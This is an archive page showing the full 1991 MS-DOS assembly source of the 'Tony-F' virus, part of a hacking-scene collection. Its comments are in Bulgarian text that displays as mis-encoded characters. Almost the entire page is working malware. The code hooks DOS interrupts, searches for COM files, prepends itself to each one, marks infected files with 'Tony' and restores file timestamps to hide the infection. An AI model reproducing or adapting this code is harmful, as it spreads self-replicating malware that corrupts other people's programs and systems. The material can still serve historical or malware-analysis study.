home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
ASM-T.ZIP
/
TONY-F.ASM
< prev
next >
Wrap
Assembly Source File
|
1991-06-12
|
8KB
|
201 lines
;------------------------------------------------------------------------------;
; ;
; é¿░│▒ Tony-F ;
; ;
; Tony_F Ñ »á░ế▓Ñ¡ ó¿░│▒,ñÑ⌐▒▓ó¿Ñ▓« ¼│ ▒Ñ ▒║▒▓«⌐ ó ▒½Ññ¡«▓« - »░¿ ▒▓á░▓¿░á¡Ñ;
; ¡á ºá░áºÑ¡ ┤á⌐½ ó¿░│▒║▓ »░Ñ▓║░▒óá ╢┐½á▓á ▓Ѭ│╣á ñ¿░Ѭ▓«░¿┐ ¿ ºá░áº┐óá ó▒¿╖¬¿ ;
; ┤á⌐½«óÑ «▓ú«óá░┐╣¿ ¡á ?*.COM, ¬á▓« ? ºáó¿▒¿ «▓ ñá▓á▓á. ;
; Tony-F ▒Ñ ¡á▒▓á¡┐óá »░Ññ¿ ¬«ñá ¡á ºá░áºÑ¡¿┐ ┤á⌐½, ó¿░│▒║▓ «░úá¡¿º¿░á ;
; ▒«í▒▓óÑ¡á »░«╢Ññ│░á ºá «í░áí«▓¬á ¡á ¬░¿▓¿╖¡¿ ú░Ñ╕¬¿ (óѬ▓«░ 24h) ¿ ¡Ñ »░«¼Ñ¡┐;
; ñá▓á▓á ¿ ╖á▒á ¡á ºá░┐ºá¡¿▓Ñ ┤á⌐½«óÑ. ;
; Tony-F ¡á¼¿░á «░¿ú¿¡á½¡¿┐ áñ░Ñ▒ ¡á óѬ▓«░ 21h ¿ ú« »«▒▓áó┐ ó ▓áí½¿╢á▓á ¡á ;
; »░Ѭ║▒óá¡¿┐▓á ¬á▓« óѬ▓«░ 3, ▓ế «»Ñ░á╢¿┐ »░Ñ╖¿ ¡á ÑóÑ¡▓│ὡ« ▓░á▒¿░á¡Ñ ¡á ;
; ó¿░│▒á ▒ ñÑí│úÑ░. ;
;------------------------------------------------------------------------------;
; á▒Ñ¼í½¿░á⌐▓Ñ ▒ Turbo Assembler 2.0+
.model Tiny
.code
VirLen = offset EndCode - offset Start ; ä║½ª¿¡á ¡á ó¿░│▒á.
;-----------------------------------------------------------------------------;
Org 07Fh
INT24 db ? ; Æ│¬ ╣Ñ í║ñÑ ¡á▒«╖Ñ¡ óѬ▓«░ 24h.
Org 0100h
NewDTA db 15h dup (?) ; æ▓░│¬▓│░á ¡á DTA.
FAttr db ?
FTime dw ?
FDate dw ?
FLen dw ?, ?
FName db 0Dh dup (?)
;-----------------------------------------------------------------------------;
Org 100h
Start:
push ax ; çá»áºóá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
;...... Æ│¬ ºá»«╖óá ▓║░▒Ñ¡Ñ▓« ¡á «░¿ú¿¡á½¡¿┐ óѬ▓«░ 21h ó ▒Ñú¼Ñ¡▓á ¡á äÄæ
mov ax,1203h
int 2Fh ; Å░«╖¿▓á ▒Ñ ▒Ñú¼Ñ¡▓á ¡á äÄæ.
xor si,si ; Ä░¿ú¿¡á½¡¿┐ óѬ▓«░ ▒Ñ ▓║░▒¿ »« »║░ó¿▓Ñ
Again: ; ▓░¿ íá⌐▓á - 2àh,3Çh ¿ 26h.
lodsw
cmp ax,3A2Eh
je NextByte
dec si
jnz Again
jmp Done
NextByte:
lodsb
cmp al,26h
jne Again
Found:
sub si,03
mov dx,si
mov ax,2503H ; óѬ▓«░ 21h ▒Ñ »«▒▓áó┐ ¡á ¼┐▒▓«▓« ¡á
Int 21h ; óѬ▓«░ 3.
push cs ; ó║º▒▓á¡«ó┐óá ▒Ñ ▒▓«⌐¡«▒▓▓á ¡á DS.
pop ds
;...... Å░Ñ¡á▒«╖óá¡Ñ ¡á óѬ▓«░á ºá ¬░¿▓¿╖¡¿ ú░Ñ╕¬¿
mov INT24,0CFh ; æ║ºñáóá ¡«ó óѬ▓«░ 24h - Iret
mov ax,2524h
mov dx,offset INT24
Int 3 ; Å░Ñ¡á▒«╖óá óѬ▓«░á 24h.
mov ax,cs
add ah,10h
mov es,ax ; ES = CS + 64 KBytes
mov si,offset Start
xor di,di
mov cx,si ; Å░Ñ╡ó║░½┐ ¬«ñá ¡á ó¿░│▒á 64KBytes
rep movsb ; »«-¡áú«░Ñ ó »á¼Ñ▓▓á.
mov dx,offset NewDTA ; Å«▒▓áó┐ DTA ¡á ¡«ó áñ░Ñ▒.
mov ah,1Ah
Int 3
mov ah,2Ah
Int 3 ; ê▒¬á «▓ äÄæ ñá▓á▓á,
add dl,'A' ; ¿ «▓ ¡Ñ┐ ▒Ñ »«½│╖áóá »║░óá▓á í│¬óá
mov AllCom ,dl ; ¡á ┤á⌐½«óÑ▓Ñ ºá ºá░áº┐óá¡Ñ.
;...... çừ╖óá ▓║░▒Ñ¡Ñ ¡á ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
mov dx, offset AllCom ; Æ║░▒¿ ó▒¿╖¬¿ '?*.COM' ┤á⌐½«óÑ.
mov cl,110B
mov ah,4Eh ; êºó¿¬óá Find First.
Int 3
jc Done ; Å░«ñ║½ªáóá ¡á▓á▓║¬ »░¿ ½¿»▒á ¡á
; ┤á⌐½«óÑ ºá ºá░áº┐óá¡Ñ.
FindNext:
mov dx,offset Fname ; é dx áñ░Ñ▒á ¡á ¿¼Ñ▓« ¡á ┤á⌐½á «▓ DTA.
mov ax,3D02h ; Ä▓óá░┐ ┤á⌐½á ºá ºá»¿▒/╖Ñ▓Ñ¡Ñ.
Int 3
mov bx,ax ; çá»áºóá ¡«¼Ñ░á ¡á «▓ó«░Ñ¡¿┐ ┤á⌐½.
push ds ; çá»áºóá DS.
push es
pop ds ; DS = CS + 64 KBytes.
mov dx,VirLen ; DX = ñ║½ª¿¡á▓á ¡á ó¿░│▒á .
mov cx,-1 ; Å░«╖¿▓á ▒Ñ ╢ѽ¿┐ ┤á⌐½ ¡á áñ░Ñ▒ - DS:DX .
mov ah,3Fh ; Æá¼ ▒Ñ ¡á¼¿░á ó¿░│▒á,á ▒Ñúá ▒½Ññ ¡Ñú«
Int 3 ; ¿ ┤á⌐½║▓.
; ôóѽ¿╖áóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á(AX) ▒
add ax,Virlen ; ñ║½ª¿¡á▓á ¡á ó¿░│▒á.
jc Close ; Å░¿ »░Ñ»║½óá¡Ñ ┤á⌐½║▓ ¡Ñ ▒Ñ ºá░áº┐óá.
cmp Byte ptr ds:[ Mark + VirLen -100h ],'T' ; ä὿ ┤á⌐½║▓ Ñ ºá░áºÑ¡ óÑ╖Ñ ?
je Close
push ax ; çá»áºóá ñ║½ª¿¡á▓á ¡á ┤á⌐½á ó ▒▓Ѭá.
xor cx,cx
xor dx,dx
mov ax,4200h ; Å░ѼÑ▒▓óá ▒Ñ │¬áºá▓ѽ┐ ¡á ┤á⌐½á(CX:DX)
Int 3 ; ó ¡á╖Ὣ▓« ¼│.
pop cx ; Å░«╖¿▓á ñ║½ª¿¡á▓á ¡á ┤á⌐½á «▓ ▒▓Ѭá.
; DX Ñ ░áó¡« ¡á 0 «▓ Fn 42.
mov ah,40h ; Ä▓ áñ░Ñ▒á DS:DX ▒Ñ ºá»¿▒óá ¡á ñ¿▒¬á
Int 3 ; ó¿░│▒ + ┤á⌐½.
mov cx,cs:FTime
mov dx,cs:FDate ; é║º▒▓á¡«ó┐óá▓ ▒Ñ ñá▓á▓á ¿ ó░ѼÑ▓« ¡á
mov ax,5701h ; ºá░áº┐óá¡¿┐ ┤á⌐½ «▓ DTA.
Int 3
Close:
pop ds ; é║º▒▓á¡«ó┐óá DS.
mov ah,3Eh ; çá▓óá░┐ ┤á⌐½á.
Int 3
mov ah,4Fh
Int 3 ; êºó¿¬óá Find Next,
jnc FindNext ; ᬫ ¿¼á «╣Ñ ┤á⌐½«óÑ ó▒¿╖¬« ▒Ñ »«ó▓á░┐
; ¿ ºá ▓┐╡.
;....... ìá╖Ὣ ¡á ▒▓á░▓¿░á¡Ñ ¡á »░«ú░á¼á▓á ¬║¼ ¬«┐▓« Ñ ºá¬á╖Ñ¡ ó¿░│▒á.
Done:
mov dx,80h
mov ah,1Ah
Int 3 ; é║º▒▓á¡«ó┐óá ▒Ñ ▒▓á░¿┐ áñ░Ñ▒ ¡á DTA.
push es
mov ax,offset TransF -100h ; Å░Ññáóá │»░áó½Ñ¡¿Ñ▓« ¡á ó¿░│▒á
push ax ; ¬«⌐▓« Ñ 64 KBytes »«-¡áú«░Ñ
RETF ; «▓ Ñ▓¿¬Ñ▓ TransF.
;........................................
; îá░¬¿░«ó¬á ºá ░ẻ«º¡áóá¡Ñ ¡á ºá░áºÑ¡¿
Mark db 'Tony' ; ┤á⌐½«óÑ.
AllCom db '+' ;
db '*.COM',0 ; îá▒¬á ºá ▓║░▒Ñ¡Ñ ¡á ó▒¿╖¬¿ ┤á⌐½«óÑ
;.......................................; ºá ºá░áº┐óá¡Ñ.
TRansF:
push ds
pop es
pop ax ; é║º▒▓á¡«ó┐óá ▒║ñ║░ªá¡¿Ñ▓« ¡á AX.
mov si,offset EndCode ; æ¼║¬óá ¬«ñá ¡á »░«ú░á¼á▓á ºá»«╖óá╣
mov di,offset Start ; ¡Ñ»«▒░Ññ▒▓óÑ¡« ▒½Ññ ó¿░│▒á ▒ 100h íá⌐▓á ¡áñ«½│.
push ds ; Å«ñú«▓ó┐ áñ░Ñ▒á ó ▒▓Ñ¬á ºá »░Ñ╡«ñá
push di ; ¬║¼ ¡á╖Ὣ▓« ¡á «░¿ú¿¡á½¡á▓á »░«ú░á¼á.
mov cx,0FFF0h -102h -Virlen
rep movsb
RETF
;-----------------------------------------------------------------------------;
EndCode:
Ret ; Ä▓ ▓│¬ ºá»«╖óá ºá░áºÑ¡á▓á »░«ú░á¼á
;-----------------------------------------------------------------------------;
End Start